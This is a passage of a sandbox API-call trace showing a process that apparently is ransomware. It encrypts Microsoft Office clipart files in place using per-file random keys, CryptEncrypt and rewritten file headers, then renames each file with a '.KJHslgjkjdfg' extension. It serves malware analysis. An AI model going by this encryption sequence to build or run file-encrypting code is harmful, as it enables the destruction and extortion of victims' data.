pbBuffer=0x9adfd0) returned 1 [0190.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.866] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0190.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.870] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.870] GetProcessHeap () returned 0x990000 [0190.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.870] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.870] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.870] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.871] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.871] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.871] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.871] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.871] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2dae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2dae, lpOverlapped=0x0) returned 1 [0190.874] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2db0, dwBufLen=0x2db0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2db0) returned 1 [0190.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.874] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2db0, lpOverlapped=0x0) returned 1 [0190.875] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.875] SetEndOfFile (hFile=0x130) returned 1 [0190.877] GetProcessHeap () returned 0x990000 [0190.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.878] GetProcessHeap () returned 0x990000 [0190.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.kjhslgjkjdfg")) returned 1 [0190.879] CloseHandle (hObject=0x130) returned 1 [0190.879] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0190.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.881] GetProcessHeap () returned 0x990000 [0190.881] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.881] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.881] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.886] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.886] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.886] GetProcessHeap () returned 0x990000 [0190.886] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.886] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.886] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.886] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.886] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.886] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.886] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.886] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.887] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.887] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.887] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3632, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3632, lpOverlapped=0x0) returned 1 [0190.888] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3640, dwBufLen=0x3640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3640) returned 1 [0190.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.888] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3640, lpOverlapped=0x0) returned 1 [0190.888] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.888] SetEndOfFile (hFile=0x130) returned 1 [0190.891] GetProcessHeap () returned 0x990000 [0190.891] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.891] GetProcessHeap () returned 0x990000 [0190.891] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.kjhslgjkjdfg")) returned 1 [0190.899] CloseHandle (hObject=0x130) returned 1 [0190.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0190.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.920] GetProcessHeap () returned 0x990000 [0190.920] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.920] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.920] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0190.950] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.950] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.950] GetProcessHeap () returned 0x990000 [0190.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.950] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.950] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.950] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.950] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.950] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.951] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.951] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.951] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.951] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.951] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b11, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b11, lpOverlapped=0x0) returned 1 [0190.955] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b20) returned 1 [0190.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.955] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b20, lpOverlapped=0x0) returned 1 [0190.956] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.956] SetEndOfFile (hFile=0x130) returned 1 [0190.958] GetProcessHeap () returned 0x990000 [0190.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.959] GetProcessHeap () returned 0x990000 [0190.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.kjhslgjkjdfg")) returned 1 [0190.960] CloseHandle (hObject=0x130) returned 1 [0190.960] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0190.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.961] GetProcessHeap () returned 0x990000 [0190.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.961] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.970] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.970] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.970] GetProcessHeap () returned 0x990000 [0190.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.970] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.970] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.970] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.970] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.970] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.971] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.971] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.971] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.971] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x227a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x227a, lpOverlapped=0x0) returned 1 [0191.063] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2280, dwBufLen=0x2280 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2280) returned 1 [0191.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.063] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2280, lpOverlapped=0x0) returned 1 [0191.064] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.064] SetEndOfFile (hFile=0x130) returned 1 [0191.066] GetProcessHeap () returned 0x990000 [0191.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.067] GetProcessHeap () returned 0x990000 [0191.067] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.kjhslgjkjdfg")) returned 1 [0191.068] CloseHandle (hObject=0x130) returned 1 [0191.068] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0191.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.069] GetProcessHeap () returned 0x990000 [0191.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.069] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.069] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0191.130] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.130] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.130] GetProcessHeap () returned 0x990000 [0191.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.130] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.130] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.130] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, 